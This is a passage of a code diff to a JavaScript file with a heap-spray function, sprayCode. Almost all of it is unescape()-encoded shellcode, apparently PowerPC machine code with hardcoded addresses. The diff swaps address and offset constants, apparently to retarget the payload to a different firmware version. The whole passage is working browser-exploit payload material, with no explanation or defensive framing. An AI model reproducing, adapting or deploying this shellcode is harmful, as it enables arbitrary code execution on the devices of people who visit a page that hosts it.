unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ffc%u7d29%u03a6"); str += unescape("%u4e80%u0421%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009%u5529%u063e%u2f89%u0000%u419e%u002c%u813f%u0054%u3860%u0001"); str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0174%u813f%u0068%u5529%u07bc%u2f89%u0000%u419e%u0008%u4800%u0374%u813f%u0068%u5529%u0420%u2f89%u0000"); - str += unescape("%u419e%u0020%u6000%u0000%u3920%u12b4%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014"); + str += unescape("%u419e%u0020%u6000%u0000%u3920%u1414%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014"); str += unescape("%u3920%u0003%u993f%u0008%u3920%u0003%u4800%u0018%u893f%u0008%u3929%uffff%u993f%u0008%u893f%u0008%u5529%u063e%u993f%u0008%u813f%u0068%u5529%u056a%u2f89%u0000%u419e%u001c%u893f%u0008%u3929%u0001"); str += unescape("%u993f%u0008%u893f%u0008%u5529%u07be%u993f%u0008%u813f%u0068%u5529%u05ac%u2f89%u0000%u419e%u0054%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e"); str += unescape("%u394a%u0001%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u05ee%u2f89%u0000%u419e%u0054"); str += unescape("%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e%u394a%uffff%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038"); str += unescape("%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u052e%u2f89%u0000%u7d20%u0026%u5529%ufffe%u6929%u0001%u5529%u063e%u993f%u0009%u4bff%ufccc%u815f%u0024%u813f%u000c%u7d2a%u4a14"); - str += unescape("%u3d40%u0180%u390a%u0a24%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038"); - str += unescape("%u807f%u0024%u3880%u12b4%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u000a%u913f%u000c%u813f%u0024%u3929%u12b4%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028"); + str += unescape("%u3d40%u0180%u390a%u0a18%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038"); + str += unescape("%u807f%u0024%u3880%u1414%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u0009%u913f%u000c%u813f%u0024%u3929%u1414%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028"); str += unescape("%u7d2a%u4a14%u8129%u0008%u6529%ua000%u815f%u0010%u3d4a%u6000%u9149%u0000%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u8149%u0000%u813f%u0010%u9149%u0000%u813f%u0010"); str += unescape("%u3929%u0004%u913f%u0010%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u3929%u0004%u5529%u01ba%u6529%u4800%u612a%u0002%u813f%u0010%u9149%u0000%u813f%u0010%u3929%u0004%u913f%u0010"); str += unescape("%u813f%u0038%u815f%u0010%u394a%ufff8%u7d43%u5378%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u815f%u000c%u1d4a%u000c%u811f%u0028"); @@ -93,97 +93,97 @@ function sprayCode(n) { str += unescape("%u4e80%u0421%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%ufee0%u3d20%ua10c%u6129%u0404%u913f%u002c%u813f%u002c%u3d40%u3860%u9149%u0000%u813f%u002c%u3929%u0004%u3d40%u4e80%u614a%u0020"); str += unescape("%u9149%u0000%u3d20%uffea%u6123%uaa58%u3880%u0000%u4800%u0021%u3d20%uffea%u6123%uaa5c%u3c80%u1400%u4800%u0011%u813f%u0034%u7d29%u03a6%u4e80%u0421%u9421%uffe0%u7c08%u02a6%u9001%u0024%u93a1%u0014"); str += unescape("%u93c1%u0018%u93e1%u001c%u7c3f%u0b78%u907f%u0008%u909f%u000c%u83df%u0008%u83bf%u000c%u3860%u0001%u3880%u0000%u7fa5%ueb78%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fc9%uf378%u7c3d%u0b78%u3800%u3500"); - str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue804%u011d%uf298%u0106%u0974%u011d%ue7d4"); - str += unescape("%u011d%uf28c%u0106%u546c%u011d%ue924%u011d%uf2a0%u0106%u0aa4%u011d%uea44%u011d%uf2a8%u0106%u21f8%u011d%ue7e4%u011d%uf290%u0106%ufdc8%u011d%uf170%u011d%uf2b0%u0106%u83c8%u011d%ue894%u011d%uf29c"); - str += unescape("%u0106%u8538%u011d%ue7f4%u011d%uf294%u0106%u85fc%u011d%ue98c%u011d%uf2a4%u0106%u8a08%u011d%ueaa8%u011d%uf2ac%u0000%u0078%u0000%u0000%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c"); - str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u3669%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000"); + str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue024%u011d%uf3f8%u0106%u0974%u011d%ue004"); + str += unescape("%u011d%uf3f0%u0106%u546c%u011d%ue144%u011d%uf400%u0106%u0aa4%u011d%ue264%u011d%uf408%u0106%uef7c%u011d%uea80%u011d%uf410%u0106%u83c8%u011d%ue0b4%u011d%uf3fc%u0106%u8538%u011d%ue014%u011d%uf3f4"); + str += unescape("%u0106%u85fc%u011d%ue1ac%u011d%uf404%u0106%u8a08%u011d%ue2c8%u011d%uf40c%u0000%u006c%u0000%u0000%u3d20%u011e%u8129%uf3f0%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf3f4%u7d29%u03a6%u4e80%u0420"); + str += unescape("%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c%u7c08%u03a6%u3821%u0010"); + str += unescape("%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u79c5%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c"); + str += unescape("%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014"); + str += unescape("%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7935"); + str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf400%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421"); + str += unescape("%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4800%u0b29%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6"); + str += unescape("%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf404%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000"); + str += unescape("%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020"); + str += unescape("%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4800%u0a75%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020"); + str += unescape("%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4800%u0b15"); + str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf408%u7fe3%ufb78%u7c08%u03a6%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78"); + str += unescape("%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040"); + str += unescape("%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4800%u0a81%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf40c%u7fc3%uf378%u83e1%u000c%u7c08%u03a6"); + str += unescape("%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48%u7c08%u02a6%u7ce9%u3b78%u3947%u0001%u9341%u02a0%u38e0%uffff%u93c1%u02b0%u7c9a%u2378%u93e1%u02b4%u7ca4%u2b78%u7cbe%u2b78%u7cdf%u3378"); + str += unescape("%u7cc5%u3378%u38c1%u027c%u93a1%u02ac%u7c7d%u1b78%u9001%u02bc%u92a1%u028c%u92c1%u0290%u92e1%u0294%u9301%u0298%u9321%u029c%u9361%u02a4%u9381%u02a8%u9121%u027c%u9141%u0278%u4be9%u12b5%u2c03%u0000"); + str += unescape("%u4082%u026c%u3940%u0072%u3f60%u1000%u9941%u0280%u637b%u00e4%u9861%u0281%u575c%u103a%u3f20%u011e%u3ee0%u1005%u3f00%u100b%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1361"); + str += unescape("%u2f83%u0000%u409e%u0214%u895f%u0000%u2f8a%u0000%u419e%u02dc%u3901%u016b%u3920%u0000%u3929%u0001%u9d48%u0001%u7d5f%u48ae%u2f8a%u0000%u409e%ufff0%u3909%u0001%u8941%u006c%u38e1%u0008%u7d27%u4a14"); + str += unescape("%u38e0%u002f%u2f8a%u0000%u98e9%u0164%u419e%u0028%u3921%u016c%u38e8%uffff%u7ce9%u3a14%u3921%u006c%u9d47%u0001%u3908%u0001%u8d49%u0001%u2f8a%u0000%u409e%ufff0%u38e1%u0008%u3ac0%u0000%u7d07%u4214"); + str += unescape("%u3881%u016c%u9ac8%u0164%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0dfd%u8121%u0008%u2f89%u0000%u419c%u01cc%u3920%u0066%u9ac1%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e"); + str += unescape("%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0db9%u3939%uf3f0%u8129%u0020%u7fa3%ueb78%u7fc4%uf378%u38a1%u016c%u38c1%u0280%u38e1%u0278%u3900%uffff%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u2c03%u0000%u4180%u01b0%u813b%u0000%u7f44%ud378%u80c1%u0278%u38a1%u016c%u7c69%ue02e%u3aa0%u0c80%u4800%u0879%u813b%u0000%u7c76%u1b78%u3881%u016c%u7c69%ue02e%u38a0%u00fb%u4800%u0d55"); + str += unescape("%u2f96%u0001%u419e%u019c%u8137%ue9c0%u7ea3%uab78%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c76%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue02e%u4800%u0a15%u8101%u0278%u7fc4%uf378%u7ec5%ub378%u3920%u0000"); + str += unescape("%u38c0%u0001%u7ea7%uab78%u3940%u0000%u7fa3%ueb78%u4be9%u0b55%u7ec4%ub378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813b%u0000%u419d%uffbc%u7c69%ue02e%u3881%u0274%u80a1%u0278%u4800%u0af5%u80a1%u0278"); + str += unescape("%u38e0%uffff%u7fc4%uf378%u38c0%u0000%u7fa3%ueb78%u4be9%u0f3d%u8138%u487c%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u80a1%u0278%u7fc4%uf378%u38c0%uffff%u7fa3%ueb78%u4be9%u0a71%u80a1%u027c%u7fa3%ueb78"); + str += unescape("%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1151%u2f83%u0000%u419e%ufdf4%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c0%u0000%u4be9%u10b5%u8001%u02bc%u3860%u0000%u82a1%u028c%u7c08%u03a6%u82c1%u0290"); + str += unescape("%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4%u3821%u02b8%u4e80%u0020%u3920%u0064%u9ac1%u026f%u9921%u026c%u3920%u0069%u9921%u026d"); + str += unescape("%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bf9%u80e1%u0278%u7fa3%ueb78%u7f44%ud378%u7fc5%uf378%u38c1%u016c%u4bff%ufca1%u4bff%ufd34%u3863%u0039%u3920%u0030"); + str += unescape("%u9861%u026c%u3881%u026c%u9921%u026d%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bb9%u4bff%ufd0c%u3aa0%u0000%u62b5%uc800%u4bff%ufe60%u3900%u0001%u3920%u0000%u4bff%ufd40%u9421%ufea0%u3920%u005f"); + str += unescape("%u7c08%u02a6%u9921%u000a%u3920%u002e%u9921%u000f%u3920%u0072%u92c1%u0138%u3ac0%u006c%u92e1%u013c%u3ae0%u0073%u9301%u0140%u3b00%u0061%u9321%u0144%u3b20%u0065%u9341%u0148%u3b40%u0076%u9361%u014c"); + str += unescape("%u7c7b%u1b78%u9381%u0150%u3861%u0008%u93c1%u0158%u7c9c%u2378%u3bc0%u006e%u93e1%u015c%u3881%u0108%u3be0%u0000%u9921%u0010%u3920%u0070%u9001%u0164%u93a1%u0154%u7cbd%u2b78%u9bc1%u0008%u9bc1%u0009"); + str += unescape("%u9921%u0011%u9ae1%u000b%u9b01%u000c%u9b41%u000d%u9b21%u000e%u9ac1%u0012%u9be1%u0013%u4be4%ubb5d%u3920%u0053%u8061%u0108%u9921%u0008%u3920%u0041%u9921%u0009%u3920%u0056%u9921%u000a%u3920%u0045"); + str += unescape("%u9921%u000b%u3920%u0049%u9921%u000c%u3920%u0069%u3880%u0000%u38a1%u0008%u38c1%u0114%u9921%u000e%u3920%u0074%u9bc1%u000d%u9921%u000f%u9be1%u0010%u4be4%ucf7d%u8121%u0114%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u3920%u0030%u3900%u002f%u3940%u006f%u38e0%u006d%u9901%u0108%u9901%u010c%u9901%u0111%u3900%u0038%u9921%u0115%u9921%u0116%u9921%u0117%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063"); + str += unescape("%u9941%u010a%u9901%u0114%u3901%u0007%u9921%u0120%u3920%u0076%u9941%u0121%u98e1%u0122%u98e1%u0123%u38e1%u0109%u9941%u0124%u3940%u002f%u9bc1%u0125%u3bc0%u0000%u9b41%u0109%u9ac1%u010b%u9ae1%u010d"); + str += unescape("%u9b01%u010e%u9b41%u010f%u9b21%u0110%u9be1%u0112%u9be1%u011c%u9be1%u0126%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b5e%uffff%u7f49%ud214"); + str += unescape("%u38c1%u0115%u7f47%ud378%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028"); + str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u0058%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u0058%u7f63%udb78%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u38e0%u0032%u4bff%ufa19%u7fe9%u2670"); + str += unescape("%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffb0%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffb0%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffb0%u3901%u0121%u7f4a%ud378"); + str += unescape("%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f40%u1000%u9bfe%u0008%u635a%u00e4%u57be%u103a%u3881%u0008%u813a%u0000"); + str += unescape("%u38a0%u00fb%u7c69%uf02e%u4800%u08c9%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u7f63%udb78%u38e0%u003c%u4bff%uf971%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e%u9921%u012a%u3920%u0065"); + str += unescape("%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u813a%u0000%u7c69%uf02e%u4800%u0871%u8001%u0164%u82c1%u0138%u7c08%u03a6%u82e1%u013c%u8301%u0140%u8321%u0144%u8341%u0148"); + str += unescape("%u8361%u014c%u8381%u0150%u83a1%u0154%u83c1%u0158%u83e1%u015c%u3821%u0160%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u3d20%u1000%u6129%u00e4%u93a1%u001c%u9001%u002c%u7cbd%u2b78%u93c1%u0020%u7c9e%u2378"); + str += unescape("%u8189%u0000%u3d20%u0a00%u93e1%u0024%u7c7f%u1b78%u7f8c%u4800%u419e%u0038%u3940%u0020%u392c%u007c%u38a0%u0000%u7d49%u03a6%u4800%u000c%u38a5%u0001%u4240%u001c%u8569%u0004%u7f9f%u5800%u409e%ufff0"); + str += unescape("%u812c%u0280%u2f89%u0000%u419e%u0038%u3d20%u011e%u8001%u002c%u8129%uf410%u7fe3%ufb78%u7fc4%uf378%u83e1%u0024%u83c1%u0020%u7fa5%ueb78%u7d29%u03a6%u83a1%u001c%u3821%u0028%u7c08%u03a6%u4e80%u0420"); + str += unescape("%u7fe3%ufb78%u7fc4%uf378%u90c1%u0008%u90e1%u000c%u9101%u0010%u4bff%ufbe5%u3d20%u1000%u3940%u0001%u6129%u00e4%u8001%u002c%u8129%u0000%u7fe3%ufb78%u8101%u0010%u7fc4%uf378%u9149%u0280%u3d20%u011e"); + str += unescape("%u8129%uf410%u7fa5%ueb78%u80e1%u000c%u7c08%u03a6%u80c1%u0008%u83a1%u001c%u7d29%u03a6%u83c1%u0020%u83e1%u0024%u3821%u0028%u4e80%u0420%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c"); + str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u2add%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000"); str += unescape("%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020"); str += unescape("%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000"); - str += unescape("%u4bee%u2a15%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c"); - str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u21b1%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u4075"); - str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u26a1%u2f83%u0000%u419c%u0070%u3c80%u1001"); - str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u78c5%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c"); - str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u4111%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6"); - str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u40e4%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9361%u001c%u7cdb%u3378%u813e%u0000"); - str += unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93a1%u0024%u7cbd%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u36e9%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001"); - str += unescape("%u9149%u0284%u419e%u00a4%u391d%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3e%u0b78"); - str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0080%u7cfd%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378"); - str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u0014%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4"); - str += unescape("%u8129%u0000%u3940%u0000%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff7c%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000"); - str += unescape("%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018"); - str += unescape("%u4bf7%u358d%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e"); - str += unescape("%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufbb1"); - str += unescape("%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufc35%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8"); - str += unescape("%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000"); - str += unescape("%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u3471%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c"); - str += unescape("%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufad5%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001%u4bff%ufb51%u2f83%u0000%u419c%u0060%u8921%u0010"); - str += unescape("%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufb2d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000"); - str += unescape("%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020"); - str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284"); - str += unescape("%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u333d%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008"); - str += unescape("%u93a1%u0009%u93c1%u000d%u4bff%uf9a5%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020"); - str += 